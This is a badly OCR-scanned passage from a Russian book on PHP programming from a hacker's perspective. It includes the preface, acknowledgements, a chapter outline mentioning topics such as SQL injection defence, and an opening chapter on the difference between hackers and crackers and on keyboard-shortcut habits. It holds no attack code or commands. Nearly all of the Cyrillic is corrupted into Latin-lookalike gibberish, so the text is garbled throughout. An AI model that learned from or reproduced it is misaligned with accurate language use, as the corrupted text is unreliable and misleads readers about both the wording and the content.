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NMpegucnoBue

Jlannas KHUra TocBsileHa PacCMOTPEHMIO OHOTO M3 MONYIApHE X SA36IKOB
nporpamMmuposanus Web-crpanni — PHP. C ee noMousto Bel HayqYuTech npo-
rpaMMUpoBaTh COBCTBEHHBIE calThl W Jlenarth WX 3QHEKTUBHBLIMA ¥ 3aUIMILEH~
HBIMH.

Yem ona ornmuaercsi ot Apyrux? BONBUIMHCTBO @BTOPOB CTABHT mepex coboii
Hejlb HayuYWuTh YUTATENs MPOrpaMMMPOBATE M TOJBKO B KOHLE KHMUTH obpautaet
BHHMaH#e Ha ontHmusaumio ¥ GesonacHocts. Ho 910 HenpasuibHO, MOTOMY
YTO, €c/lM YeNOBEKA HayYMTh MpOrpaMMupoBath He3(M@HEKTHBHO, TO ¢ MOMOLLLIO
napsl (4B epeyynTh ero Byuer cinoxHo. [TpUBBINKN TSXKEN0 HCKOPEHNUTH, 4, KaK
roBOpH/ OIMH M3 MOMX mpernofasareseit B uHcturyre, "HenpasuibsHo 3aydeHHbIH
marepuas Xyxe HesHaHus". Eciu Bbl HEBepHO 3ayduiu Matepual, 1o Gyaere neii-
CTBOBATh HEBEPHO, MTOTOMY YTO CYMTAETE, YTO Ballie PelieHue ABNSETCs NMpasuiib-
HbIM. A €clii Bbl COBCEM HE 3HAETE, KaK [TOCTYMUTh, TO MOXeTe MONpPOCUThL COBE-
Ta WM CITMCATH BApUAHT PELICHMA, H B 3TOM Cilyyae Haiijere NpaBuIbHBIA BBIXOI
M3 CIOXUBLIEHCS CUTYALIUA.

B mannoM cnyuyae owmubku mporpamMmbl OyayT HAMHOTO IOJIE3HEE, ITOTOMY 4TO,
KOra BhI MIIETE TPHpoxy owmbkHl, B Jyqlle pasbupaerech ¢ MOCTABIEHHBIM
BOTIPOCOM M MOXeTe HaiTH npasuabHoe peurenwe. Opnako GesoumbouHo, HO
Hea(hdeKTUBHO HANMCAHHLIA KOI MOXET MPUBecTH K (aTaibHOMY HCXOLY.

JlanHas KHAra OCBEIACT A3blK nporpammuposanus PHP, nauwxas ¢ camsix oc-
HOB, ¥ ONHOBPEMEHHO 3aTpArMBaeT ACneKkThl 6e30MACHOCTH W ONTHMM3ALMK pa-
6oThl cueHapueB. TakuM obpa3oM, Bel ¢ caMoro Hawaiga Gynere YUMTBCSA CO3Ma-
BaTh OBICTPBIE M 3aUIUIIEHHBIE TPWIOKEHUS.

IMouemy kuura HassiBaetca "[lporpammuposanue Ha PHP rmaszamu xakepa"? Yrto
5710 34 masa? D10 NpocThie YEMOBEYECKHE NIa3a, MOTOMY YTO XaKepsl TOXe JIOAN.
[MasHoe OTIHYME COCTOMT B TOM, Kak cosfaiotes mporpamMmsl. Eeiin Bl cosmann
KOJI, KOTOpPBIN BBIMOJHACT MOCTABNEHHbIE 3a1a4yM, TO Bbl mporpammuct. Ho ecim
pair Koj paboraer jyuure, GsicTpee M HaleXHee, a TiasHoe, GesonacHee [Uisi cep-
Bepa, To Bbl Xakep. McKyccTBO xakepa 3akaioyaercst B TOM, YToGhl chenartsh Kom
JIYYLIAM.



2 pegucnosne

Xots Mbl Oynem paccMmarpuBaTh 6e30MacHOCTh W ONTHMU3ALIMIO B TEYEHHE BCETO
nepuojia nayyenus sasika PHP, a He Mory ckasarb, ¥TO BBl MOJYYMTE MCHEPIThI-
BaloLIAe ceefeHus. OYeHb MHOTOE MOXET OKAa3aThesl 3a NMpefeiamMu KHHIH, No-
TOMY 4TO HEJb3 YBUAETb BCE W HEMb3S Bbipaborarh aﬁcqnmuo aekTHBHbE
M YHUBEPCANbHBIE AITOPUTMbLI HA BCE CIAYYAH XU3HH. YHUBEPCATHHOCTH OMEHS
4acTo HecoBMecTHMA ¢ noxaTHaMu sdibexTunHOocTH M GesomacHocTH. Mbt xe
nocrapaemMcsl HAy4YHMTHCH MBICAWTL TAK, YTOOLI cO3AABAEMBIE HAMH TpOrpaMMEl
BLIMONHsUIMCH Haubonee agdekTHBHO.

BanoMLMKK O4YeHb YACTO WUCMONL3YIOT HA BIIOMAaHHBIX cHCTeMax coOcTBeHHEIE
WIM CTOPOHHHE cleHapuu Ha s3sike Perl wis nosslueHus npusumerwif win
BBIUTONHEHUS] ONpeie/IeHHLIX AeHCeTBMIl. B cBsi3n ¢ 9TUM HEKoTOpbie KOMIaHHH
OTKA3LIBAIOTCA OT Henoabsosanua Perl Ha csoux cepsepax, W aAMUHHCTPATOPBL
BCE peXe YCTAHABAHBAIOT ero. JTo MO3BO/feT B KaKoii-To cTeneHi MOBLICHTS
GesonacHocTb, HO MpodeccCHOHANBHOrO B3INOMIIMKA TAKMMHM [AEHCTBUAMM He
OCTAHOBHILb.

B panHo# KHure Mbl PACCMOTPHM, KaK B3/NOMUIMKH MOTYT mucarTh cobCcTBEeHHbIS
cueHapuu Ui Bwioma ceppepos. Her, s He Gyny nucats 410-T0 U3 Cepum aBro-
MAaTH4ECKUX B3IOMIUKKOB, 1abbli MEHS He OOBMHWIN B TOM, 4YTO TeNepb Kojpuue-
CTBO XAKEpOB yBEeAWYHTCA B passl, [lpobrema B ToM, YTO Cpe/iCTBA, NMPUMEHAEMbE
AIMHHUCTPATOPAMH UTA  3ALUMTEL, MOIYT UCMONL3OBATHLCS  BANOMUIMKOM UIst
BCKPBHITHS 3allfHThl, AHAJOIMYHO, CPEACTBA BITOMA MOIYT GHITE MCIONB3IOBAHBI
IS TecTUpoBaHus 6e30MnacHOCTH M [UiA 3alMTEL

S NosMIMOHMPYIO KHHTY KAaK CPeliCTBO MOBbllieHHs: Oe30NacHoCTH U Hamelors,
9TO MMEHHO C 3TOH ueNblo BBl OyleTe NMpHUMeHsTL CBOM 3nanus. [laxe npoctolt
HOX MOXET CIYXHTh CPENCTBOM HApPe3KH NMPOLYKTOB, & MOXET WCMOIb30BaThCA
KaKk opyxue. Xo4yercsi HajesThCs, HTO Bbl MCITONIb3YETE BCE MO HA3HAYEHMIO,
B TOM HHC/Ie ¥ 3HAHWA.

B Hawe Bpemst SHAHWS CTAHOBATCS CaMBIM ONACHBIM OpyxkueM. MiMeHHO TosToMy
s Byny menarb Gonsmmit aknenT Ha GesonacHocTH W 0cob0 BaXHbIE MOMEHTHI Gyay
YMATYHBATH, Aa0bl HE MOATONKHYTH JIODOMBITHRIX MOJOALIX JUOAEH K HapymeHHIo
3akoHa, KoHeuHo Xe, oltHolt 3TOH KHHIM HEJOCTATOYHO JUIs BIIOMA cepsepa, No-
TOMY 4TO HYXHbI HAMHOTO GONbIIKE 3HAHWSA, B TOM YHcae i sHanue OC.

PaccmarpuBas npuMepsl Toro, KakK Xakep MOXeT BIIOMaTh CLUeHApHH, HAMNCAHHLIE
Ha sissike PHP, me1 Gyziem, kak npasiuio, noapasymesars, UTo cepsep paGoraer noj

ynpaprenvem OC Unix win ooHoro 3 ee kioHoB, Hampumep, Linux. Ieno
B TOM, 4TO OCHOBHas wacTh Web-caiitos ¢ PHP-cuenapusiMu paboraer mos ynpas-
JICHHEM MMEHHO 3THX ONepauMoHHbIX cuereM, a OC Windows Goiblie MCIombay-
ercsl cOBMecTHO ¢ TexHonorusam Microsoft, Hanpumep, ASP. Ilosromy s syu-
wero NOHHMaHWs Marepyaia BaM HEoOXONWMO HMMETb XoTd Obl MOBEPXHOCTHOE
npeacrasieHne o Kakoii-uubyas OC cemeitcrsa Unix. A eciii Bbl 3HaeTe OCHOBLI
6Ge30nacHOCTH 3TOi CHCTEMBI, TO Haw paszrosop Oyner Gonee mpoaykTBHBIM. [
9TOro A PeKOMEHIIYIO BaM MpoyuTarh KHMry "Linux rnasamu xakepa” [1].
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BnarogapHocTi

OuyeHb xouercsi nobGnaroaapuTh BCeX TeX, KTO MOMOran MHE B CO3NAHUW 3TOi
kHuru. S He Gymy GnarogapuTts B MOPSAKE 3HAYMMOCTH, TOTOMY 4TO KAXKIas
MOMOILB OYEHBL 3HAYMMA Ul MEHS M JUIs Takoil kuurd. [Moatomy nopsuok He
Hecer B cefe HUKAKOro cMEIcia, a BeiOpaH Tak, 4Tobsl mocTaparscsi HUKOTO He
3a0bITh.

Xouercs nobnaromaputs usmarenserso "BXB-Tlereépybpr”, ¢ xoropsiM y MeHA
CIIOXMIOCH YK€ JIOCTATOMHO J0Mroe U NPOAYKTHBHOE coTpynHuyecTso. Hanewcs,
YTO 3TO COTPYAHMYECTBO He npepsercs HuKoraa. Cnacubo pemakropam W Kop-
PEKTOpaM 3a TO,; YTO YKA3BIBAIOT HA MOM HEIOYETHl M MOMOTaloT CHeNaTs KHHTY
Jydllie ¥ MHTEpPECHee.

Xouercsi mobnarofapuTh CBOIO CEMBIO, KOTOpas TEPIHT MOM MCYE3HOBEHMS 34
KOMITBIOTEPOM. 1 IPEKPACHO ITOHUMAIO, YTO TSKEN0 BHAETh MyXa M OTHA cemeli-
CTBA, KOTOpBIA Bpoje Gbl IOMa M B TO Xe€ Bpemsl OTCYTCTBYeT. BT0 HANOMHHAET
saranky: "Bucur rpyura, Henssst ekyiats”. $1, npasa, He rpyud ¥ HULAE He nol-
BELLIEH, HO BOT TMOMB3BI OT TOTO, UTO 51 HAXOXYCh 0MA, JUIS ieTeit M XeHbl Maio ©,

OraensHas GirarofapHocTh aIMUHHCTPaUMK caiita www.cydsoft.com 3a 1o, uTO
MPEeAOCTABUAN XOCTHHI' Ul TECTHPOBAHMA CLEHAPHEB M MOMOIIH XOPOUIMMH
HIESIMH, COBETAMM M Jaxe KonoM. Xouy Mobnarofaputs Tex, KTO paspeiui Tec-
THPOBaTh MX CEPBEPHI M CLEHAPUM B LENSAX BhIIBICHUS oumﬁox, a TaKke nan
IPOCMOTPETh CBOM CLEHAPUM M HACTpoiikn GesomacHocTu. Biamen cBoelfl wen-
POCTH BCE 3TH KOMNAHMM M caifTel noayuuny Gojiee crnokoilHblil COH, IMOTOMY
YTO JIO 3TOT0 MX CalfTEl HUKTO HE TECTHPOBAI, M OWMOOK 6LUI0 OYEeHEL MHOIO.

He ycrany Grarogapurh BceX CBOMX ApYy3ei, KOAMHYECTBO KOTOPHIX TOCTOSHHO
pacTer, ocoﬁem{o npy:eﬁ 1o caitty www.vr-online.ru. WX MHOTrOIETHIO HOMOLLL
¥ NIOMIEPXKKY HENb3sl MepPeoLeHNTh.

EauHcrBeHHas G1arofapHocTs, KOTopyio s xoren Obl nonqepxﬁy'ri Bonslie Boex
W npuaath eif GonblyI0 3HAYMMOCTb, — 3TO Bam, 3a TO, YTO KYMUIM KHUTY, M
MOMM TOCTOSHHBIM YHTATE/ISIM, KOTOPbIE TAKXKE YYACTBYIOT B CO3AHHH KHMT,

Bce mou nocieaHKe paboThl OCHOBBIBAIOTCSA HA BONPOCAX U MPEILIOKEHUAX YHTa-
Teneil, ¢ KOTOPBIMH 5 peryisipHo obiaioch Ha opyme caiita www.vr-online.ru.
Ecnu y Bac MOSIBATCS KaKWE-TO BOMPOCHI, TO MIIOCTH mpoluy Ha 10T GopyM.
Sl mocrapaloch MOMOYE MO MEPe BO3MOXHOCTH M XY JIOGbIX KOMMEHTApHEB 110
noBoay 310l KHUrn. Bawum sameyaHust TOMOryT MHE CIenarh 3Ty pabory sydiie.

Kak ycTpoeHa ata kHura

Tak xax yposeHb NOATOTOBKM MHTATENsl MOXeT ObiTh pasHbIM, Mbl Byaem pac-
CMATPUBATh BCE, YTO KAacaeTcsl TeMATHKH KHMIH, AOCTATOYHO nonpobHo, 4Tobbt
YUTATETH C PASHBIM ONBITOM MOIIM MOHATH ONMCHLIBAEMBINA MaTepHa.



4 lMpeaucnoaue

Knura cocrout U3 naTH rias, KOTOPLIE MOC/AEN0BATENLHO HOTPYXAIoT Bac B MUP
Web-nporpamMmuposanus ¢ nomomsilo PHP. [asaiite kpatko nocMorpum, uTo
Bac OKHIAET B KaXmol M3 NATH IV1as,

Inasa 1. Beenenme. B 3roit rnase Mbl y3HaeMm, KTO TAKHE XAKephl M KakK CTATH
xakepom. Mei pasGepemesn, B YyeM OTJIMUYHE XAKEPOB OT KPIKEPOB, W Bbl JIOIKHEL
YETKO 3TO YACHUTH, HOTOMY YTO Bpara HY>KHO 3HATH B JULO Wy xord Gbl NoHM-
MaTh ero ncuxonaoruio. NoMMMO STOrO Mbl NO3HAKOMMMCS C OCHOBAMH HHTEpP-
nperupyemoro fiskika PHP u ysuaem, /Ui 4ero oH HYXEH M KaK W Iae MOXeT
TIPHMEHATLCH.

I'nasa 2. Ocwosst PHP. C ar0il massl Ml OyaeM muears CHSHApHW, HATHHATL
¢ caMbiX OCHOB — o(OpMICHHE KOAA, NepeMEHHbIE, yripaBieHne BhINOIHEHWeM
cueHapus U T. 1. Xors Gynyr oGCyKAATECH asbl, YXKe 3AeCh Mbl MO3HAKOMHUMCH
C HMHTePECHBIMH AITOPUTMAMH M OCHOBAMM OezonacHOCTH paccMATPUBAEMbIX
TexHoNMorui. Be3onacHocTs — AOCTATOYHO CNOXKHAS TEMA, KOTopasi 3aTpardBaeT
aGCoMOTHO KAXKIYK CTPOUKY KO, M OAHON raBbl A OCBEIEHUSA 3TOH TeMbl
HenoctarouHo. Hampumep, npu oﬁomeﬁun TeMbl MEpPefayyl NapameTpoB OT
Mob30BaTes K CEPBEPY Mbl Y3HAEM, HTO JUls 9TOTO CYIIECTBYET HECKOIBKO Me-
TOLOB, ¥ HHM OMMH M3 HHUX HEJIb3S CYMTATH Ge30nacHbIM, MOITOMY MBI 3aTPOHEM
METO/IbI POBEPKH MAPAMETPOB.

I'nasa 3. Besonacuocts. B a7oii mase Gyzer paccMarpusarscs GesonacHocTh co3-
JABAEMOTO KOJ1a, HO TOJBKO OBLME MPHHIMITEL W ocHOBbL. Kaxnas rrasa KHUIH
3aTPArMBACT BOMPOCH OE30MacHOCTH B TOM WiM MHOM cTemeHn. 3aech XKe Ml
cie/laeM YIop Ha TEOPHMIO, a B 21a6ax 2 U 5 NpH PacCMOTPEHHM NPHMEPOB Ml
Gynem Gofiblle YAEHATH BHUMAHNUS IPAKTHKE.

Ber Takke yanaere, yto obecneverue 0e30MacHOCTH — 2TO KOMIUIEKCHAs 3a1ava,
W, HaNucas uOGANLHBIH cueHapuii, HO Henpanmao HACTPOMB CEpBep, Bhl He
CMOXeTe craTh CHOKOiHO. MakcHMAnbsHO Ge30nmacHBIM HOIDKHO BhiTh BEE.

Inasa 4. Onrumusanms. BesonacHocTh, ckopocTh paborbl M ymoberso — waue
BCETO IPOTHBOPEYMBBIE TIOHATH, MOITOMY MOCTOSHHO MPHXOANTCS HCKATH 30710~
TYIO cepeanHy, YTobbl cueHapuit paboran GuicTpo, GesonacHo, a koa Guit Nerko
YUTAEMBIM U YIOBHBIM B COTIPOBOXIEHUM.

Taasa 5, Hpumepst paborw 8 PHP. D1a masa conepXuT NPakTHYECKUe pelieHns
THIIMYHBIX 3344 COBMECTHO C TEOPeTHYECKMMM 3HAHMAMN. MBI paccMoTpHM ce-
TeBble QYHKUMH W TYT XKe HalMieM HeCKONbKO HHTEPECHBIX mpumepos. Mat Gy-
aeM TOBOPHTH 00 ayTeHTH(UKALHMK U ABTOPU3ALMH M Y3HAGM, KAK PeLIaeTcs 371a
sanada B Web-npunoxeHnsx.

Kaxnas rexnomorust Gyaer paccMaTpuBaThcsa ¢ TOYKH 3peHus xakepa u Gesonac-
HocTH. MBI goctatouMHo noapobHO oGCyIMM HEKOTOphe BONPOCH! TOr0, KAk Xa-
Kepbl B3NAMBLIBAIOT cleHapuu (Harpumep, araky SQL Injection), utobbl Bl 3Ha-
11, KaKue MOTyT 6bITh Mephl MPOTHBOACHCTBHS ATAKaM.
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BesepeHue

Korma s yuuncs B wHCTHTYTE, ONMH W3 fpenonasateneil ckasan (dpasy, Koropas
OTNIOXKWUNACE ¥ MEHA B NaMATH Ha jonarue roasl: "HenpasuibHo 3ay4eHHBIH MaTe-
pHan xyxe HesHaHus". JeicTBUTeNIBHO, €C/IM BBl YEro-T0 He 3HAETe, TO CrIpocuTe
y Gonee ONBITHLIX TIPOTPAMMHCTOB. MM Haiinere orser B MutepHere. Ecan Bbl
3ay4HSIM MaTepUall HesepHo, TO Bynere WCMoNL30BATH €ro HEeBepHo, 4 B ciydyae
C MpOrpaMMHUPOBAHUEM WHTEPHET-TIPUIOXEHUIT 9TO NPeACTABIsIeT OMACHOCTH JUIs
cepiepa.

KHury MOryT YdTars NpOrpaMMMCTBI PAa3HOTO YPOBHSA, TIO3TOMY B J@HHON U cie-
nyoueit mage uanaraiorest ocHossl PHP. Al mocrapancsi chnenars xHury nousiT-
HOM jJaxe TeM, KTO BHAWT ITOT A3BIK BrepBbie. KoHeuHO ke, oHa He CMOXeT
CTATh BALLMM €IMHCTBEHHBIM Y4e6GHUKOM, HO HALEIOCH, YTO GyNeT OCHOBHBIM.

1.1. K10 Takmne xakepbi?

370 NOBOJBHO CHOPHLIH BONpoC, W 5 AOCTATOYHO MHOFO THCAI © TOM, KTO TaKue
XaKepbl ¥ KaK MMM crarh. ECAM BBl yXe YUTAIM MOM KHHMIH, TO 9TOT pasiei no-
Kaxercs BaM 3HAKOMBIM, HO OTJIMYMS €CTb, MOTOMY YTO B AaHHOM Ciyyae Mbl
nenaem ymop Ha Web-nporpaMmuposatne 1 Web-BanoMm, a 31eck €CTh CBOM OT-
mvvus. Jasaitte pas6epem noHsTHE "Xakep" ¢ MO3ULNHK, ¢ KOTOPOil i Byany pac-
CMATpHUBaTh €ro B JaHHON kHure. Ho mia wavana mamo HeMHOro yraybutscs
B UCTOPHIO.

[MonsiTue "xakep” 3apoiuiioch, KOTJA TONBKO HAYMHANA PACIIPOCTPAHATLES Tep-
past ceth ARPANET. Torna 310 noHsTHe 0603HAYAN0 YENOBRKA, XOPOWO pasbu-
PaIOIIErocsi B. KOMIbIOTEpAX. HexoTtopble naxe MOAPasyMEBAIH TOA XaKEpOM
geJIoBeKa, "MOMElaHHoro" Ha Kommbiotepax. [ToHsTHE AcCOIMMPOBANM CO CBO-
GofHbIM xounhmpumxou, qenonexom, CTPEMALLMMCSE K CBOGOZIE BO BCEM, YTO Ka-
canoch ero mobimoit "rpyiku”, Brarogaps 3ToMy CTpeMJIEHHIO W Tire K cBoboj-
HoMy o6Mery uHGopMalmell 1 Havyarock Takoe GypHoe passurtie BeemmpHOM cet.
WUmenHo xakepsi nomornH passutuio Mureprera u cosnanu FIDO. Braromaps um
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nossaaucs UNIX-nono6usie cucreMsl ¢ OTKPHITBIM HCXOAHBIM KOIOM, Ha KOTO-
peIx cefivac paboraer Ooblloe KOMUYECTBO CEPBEPOB.

B Te nanexkue spemeHa euie He GbUIO BUPYCOB, M HE BHEAPHIIACH MPAKTHKA B3JO-
MOB ceTeil WM OTAENBHBIX KOMITbIOTepoB. OGpa3 xakepa-B3NIOMILIHKA TOSBUIICH
HeMHoro nosxe, Ho 210 Tonsko obpas. Hacrosume xakepbl HMKOrAa He MMENH
HUKAKOTO OTHOLEHHMS K B3TOMaM, & €CIIM XaKep HAmpaBian cBOW [eiicTBHA HA
paspyilieHue, TO 3TO0 Pes3sKo OCYXXAANoCh BUPTyaltbHBIM coobluecTsoM. [laxe ca-
MbIE sIpKMe npescrasuTesn Goplos 3a csoboay He MO6AT, Korma Kro-iubo Bme-
UIMBAGTCSA B MX JIMYHYIO XHU3HB.

Hacrosmuuft xakep — 310 TBOpell, & He paspyurureas. Tak Kak TBOPLOB OKasa-
nock Gosblie, YeM paspyuruTesieil, To HCTHHHBIE XaKepbl BhIIETWIN TeX, KTO 3a-
HUMAETCs B3NIOMOM, B OTHAENLHYIO [PYIIY W Ha3BAIW MX KpakepaMmu (BITOMIUM-
KaMH) WIM npocro Bampanamu. M xakepni, u B3JOMIIMKH SBIAIOTCS TEHUSAMHA
BupryansHoro Mupa. M te, u mpyrue Gopiotes 3a csoBomy moetyna K uHopma-
i, Ho To/bKo KpaKepbl B3aMbIBAIOT CaliThbi, 3aKpbiThie Gasbl NaHHBIX U APYIue
MCTOYHUKM MHGOpMALMKY C UENbI0 COOCTBEHHON HAXUBbL, PANM NCHET WIAM MU-
HYTHO# CIaBbl, TAKOrO YEJIOBEKA MOXHO HA3BaTh TONBKO MPECTYNHHKOM (KeM OH
no 3aKoHY u sBasercal). |

Ecnu BBl BaTOMaIM mporpamMMmy, YToObl YBUAETh, KAK OHA paGoraer, TO BBl — Xa-
Kep, a Mpu HAMEPeHWH €e MPoNATh WIH TIPOCTO BHUIOXHTL B MHTepHere crack
(Kp2K) craHOBHTECH MpecTynHMKOM. EXesu Bol Banomanu cepsep ¥ cooGuimmn
AIMUHHCTPALMK OO YA3BHUMOCTH, TO Bbl, HECOMHEHHO, — XaKep, HO KOAH YHWY-
TOXMIN UHGDOPMALIMIO H CKPBUIHCEH, TO 3TO yKe ITpecTyiieHue.

XKanb, 4TO MHOTHE CHEUMATHCTBI HE BHIAT 3TOM PAsHMUB! M MYTAIOT XaKepcKue
MCCNIENIOBAHUA C TNIPABOHAPYIUEHHAMH. XaKepsl MHTEpECYIOTcs cucreMmoil Geso-
MACHOCTH CMCTEM M CEpBEpPOB JUIA OMpeaeieHns ee HauexHoctH (uin B obpaso-
BaTEJILHBIX LIEJSIX), @ KPIKEphl — ¢ LEJIbI0 BOPOBCTBA WM YHHYTOXEHHS JaHHBIX.
Mepeunciio kareropuu KpaKepos.

O Bupyconucameau NpUMEHSIOT CBOM 3HAHMS IS TOTO, YTOOHI HAMMCATL MPO-
rpamMMy paspyuUINTEeILHON HATPABISHHOCTH.

O Bandans cTpeMATCS YHHUTOXUTE CHCTEMY, YAUTHTE Bee Qaiibl uny HapymwmuTh
pabory cepsepa.

O Batomuuru KoMnslomepos/cepsepos coBepiaioT "Kpaxy ¢o BATOMOM" ¢ LEIbIo
HAXHBBI, BBIMONHASA, 3a4acTyi0, YbM-NIHG0 3akasel HA nomydeHue HHboOpma-
UMM, OYEHDb PEIKO UCITONB3YIOT CBOM 3HAHHS B paspyLINTENbHBIX LENsIX.

O Batomuuku npozpams CHUMAIOT 3aIKTY ¢ NporpaMMHoro obecneueHns u npe-
NOCTABNSIIOT €ro Juis BceoOIIEro McnonbioBaHusl. Takue MOAM NPHHOCHT
yuiep6 codreepubiM dupmam i rocynapersy. [TporpamMMuceTsl LOMKHBL MOKY-
YaTh 3apnAaTy 3a CBOH TPYIL.
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Yrobul eue pa3 MOAYEPKHYTH PASHULY MEXIY XAKEPOM M KpPIKEPOM, MOXHO
CPaBHUTh MX CO BIMOMIIMKAMM [porpaMM. Bce mNpekpacHo NOHUMAIOT, 4TO
MHOTHE CO(TBEPHbIE (DHPMEI 3aBILIAIOT LIEHB! HA CBOH APOIpaMMHbLIE [TPOAYKTEL
Kpakep Gyner GopoTbea ¢ LEHAMH C MOMOINIBLIO CHATHS 3ALLHTSHI, 4 XaKep cosaact
CBOIO MPOTPaMMy C AHANOTHYHBIMH (DYHKIMAMU, HO MeHbUIeH CTOMMOCTH WITH
poobie Gecruarhyto. Tak aBuxeHue Open Source MOXHO MPHYHCHAUTH K XaKe-
paM, a Te, KTO MHILUET KPIKH, OTHOCATCS K BUTOMULMKAM, T. €. KpoKepaM.

MHe KaXercsi, YTO MyTAHWUA B MOHATHAX OTYACTH BOIHMKIA W3-32 HEKOMMe-
TEHTHOCTH B 3TOM BOMpOCE CPEACTB MAaccoBoOif nmpopuamm XypHarucTsl no-
nynsipasix CMUY, He Bnonme pasbupascs B npoblieMe, MPHMUCHIBAIOT XaKepam
B3NIOMBI, Jeas W3 HUX MPECTYIHHKOB,

Ha camom xe nene, xakep — 310 MpocTo renuii. Mcrnnnble xakepsl HUKOTIA He
MCTIONB3YIOT CBOW 3HAHUA BO Bpel ApyruMm. UMeHHO K aToMy 5 MpHU3bIBalO B JaH-
HOM KHWTE, H HHKAKOro KOHKPETHOIO BINOMA MM BHPYCOB OHa HE CONEPXMT.
Byzer Tonbko 1oae3Has M No3HaBaTeNbHas WHGOPMAlMs, KOTOPYIO Bbl CMOXeTe
MCIIOIB30BATh U1 YMHOXEHH!SI CBOMX 3HAHMIA,

Mrak, ecam Bam caift BITOMan XaKep, TO OH MOKAXET BaM yA3BHUMOCTH W, BO3-
MOXHO, JaXe nocoBeryer, Kak Mcrpasuth ommnbky. Ho ecim owmubky Haimer
KP3Kep, TO: MOXKHO TMOTepATh AaHHbIC HIH [NABHYIO CTPAHHILY.

B GonbmMHCTBE CydaeB K Xakepam OTHOCATCH OMBITHBIC WM MOJNOMBIE JHOLM,
KOTOPLIMH HABMXKET CTpeM/ieHMe K HM3YyYEeHHI0 4ero-to Hosoro. OHU TECTUPYIOT
cailTel IS TOrO, YTOGH Y3HATH, KakK Te paGoTaioT, W eciu B NMpoLecce U3ydeHus
Gyner Haitnena ommnbKa, To MporpaMMuUCT caiita WIN AIMWHUCTPATOP YAHAIOT 06
3TOM TIEPBBIMH.

KpaKepsl — 3T0, B OCHOBHOM, MOJO[bie Mony. B GONBUIMHCTEE CAyYaes MMM
ABUXKET CTPeMJIEHHE M0KA3aTh CBOE NPEBOCXOACTBO. Takue KP3Kephl MOTYT TOJb-
KO M3MEHWMTh IJIABHYI0 CTPAHMIY HJIM CHITPATH ¢ MONBIOBATENIAMH HIH AAMHHU-
cTparopaMu Geszobmanyio wyrky. Ho ecan Kpakepom ABHXET WIEONOrHYecKoe
cooGpaxeHue, To 370 yxe onacHo. Takoil uejioBeK MOXET YHHYTOXHTH MHbOp-
MAUWIO, ITOTOMY 9TO TYT HA MEPBhIi MJIaH BHIXOAWT CTPEMIICHME MAKCHMAILHO
HapywuTh pabory cepsepa u caiira.

Xakeph! NOMKHBI HE [TPOCTO 3HATh Komnbiotep. Kora mbl Gyiem paceMarpusath
aTaKM, KOTOphIE MCTONBAYIOT XaKepbli, TO Bbl YBHAWTEe, uTo Ge3 HABBIKOB Mpo-
TPAMMHPOBAHKS PEAN30BaTh GONBIIMHCTBO W3 STHX [IPHEMOB OyleT HeBO3MOX-
Ho. Ecim BBl 3aMHTEpECOBATUCH W PELUMIN TTOBBICHTL CBON YPOBEHb MAacTepeTsa,
TO Mory TI0COBeTOBaTH nMpounTars Mol kHurK "TIporpammuposarne 8 Delphi tia-
3amu xakepa" [4] u "TIporpammuposaune Ha C++ rmasamu xakepa" [3]. Haneiocs,
970 MOMOXET BAM HAYYHTBCA CO3JaBaTh COOCTBEHHBIE WIYTOMHBIE MPOrPAMMBL
1 Xakepckuit codr.



8 Mnasa 1

1.2. Kak ctath xakepom?

ror Bonpoc 3anAT cebe MHOIUE, HO TOYHOTO OTRETA BAM HE JacT uukro. f no-
CTAPAIOCH BHIICUTS HEKOTOPEIE OGLIME ACTIEKTbI, HO BCE JABMCUT OT KOHKPETHON
obnacTi, B KOTOPOH Bhl XOTHTE CTATH JYHIIMM.

CpaBHHM KOMITBIOTEPHOTO crieHHanueTa co crpouteneM. B kaxuoi npodeccun
CYILECTBYET HEKas CrieltMaiu3anus (pasHast HanpasieHHOCTh). XOpomuM CTpoH -
TeneM MoXer OBITh OTIHYHLIE KAMEHIUMK wian wrykatyp. ToYHO Takke u Xake-
pPOM MOXET ObITh CIEHMANHCT 10 ONepalmoHHbIM cuctemam (Hanpumep, UNIX)
Win nporpaMMuct (npuiaoxenuit win Web-calitos). Bee saBucuT or Baimx uH-
TepecoB M noTpebHoCTe.

TlNpuseny HeKOTOphiE PEKOMEHIALMH, KOTOPLIE MOMOTYT BAM CTaTh HACTOAIIHM
XaKepoM W 106UTHCH MPHIHAHMS CO CTOPOHBI npyaeﬁ W Kojuer.

. Bbl AOJKHBI 3HATH CBOM KOMIBIOTED M HAYYHTHOS PPEKTHBHO UM YTIPABASATS.
Ecnu Bbl Oyaere eiie ¥ 3HaTh B HEM KaXKIYIO XeNe3KY, TO 3TO TONbKO 106aBuT
K Baileii olieHke mo "xakepcrsy” ﬁmmuoﬁ M KUPHBIA TUOC.

Yo s noapasyMeBao nos yMeHHeM 3(pHEKTHBHO YHPARIATE CBOMM KOMITBIO-
tepoM? 3HAHHUE BCEX BOIMOXKHBIX CNOCOBOB BEINOTHEHUS KAXIOTO NeHCTBUS M
YMEHHE B KaxIOW cuTyaumm acncmaom onTHMaNbHBI. B wacTHocTH, BEI
JIO/UKHBI HAYMUTBCS TOML3OBATHCH "ropaviMi” KAaBMIIAMHM M HE HEprars
MBbIIIb MO JioGoMy mycTsky, Haxarue KnaBuiM BeITIONHsieTcs GhicTpee, ueM
Jmoboe, naxe MaleHbKoe, nepemelleHne Muim. [Tpocro npuyynte ceba K sTomy,
W Bbl YBUIMTE Bee mpesnectH pabortst ¢ knasuarypoit, Jluuno s ucnonasayio
MbIIlIb OYeHb PEJIKO M CTapaioch BCEr/ia MPHMEeHATh KIaBnaTypy.

Manenpknit npumep Ha 31y Temy. Moil HaYaTLHUK Beerna KOMUPYET W BCTAB-
nset jaHHbie H3 Oydepa ofMeHa ¢ NOMOIIBI0O KHOMNOK HA MAHENH HHCTPYMEH-
TOB WIH KOMaH/I KOHTEKCTHOTO MeHIO, KOTOopoe MOSABISETCs MPH LIeTYKe mpa-
Bofi kHonko# mbik. Ho ecni Bbi AejaeTe Tak Xe, TO, HABEPHOE, 3HAETE, YTO
He sesjie ecTh KHonKH Konuposars, BerapuTs WM COOTBETCTBYIOIUME MYHKTHI
B KOHTEKCTHOM MEMI0. B Takux cayyasx Moil HavyanbHHK Habupaer Tekcr
BPY4HY!0. A Beab MOXHO ObUI0 OGbl BOCMONL3OBATHECS KOMWPOBAHMEM/
BCTaBKO# ¢ momMomibio "ropsumx knasuir” <Ctr>+<C>/LCtrl>+<V> wmu
<Citrl>+<Ins>/<Shift>+<Ins>, KoToOphle 10CTATONHO YHUBEPCAILHBI 1 PEATH30-
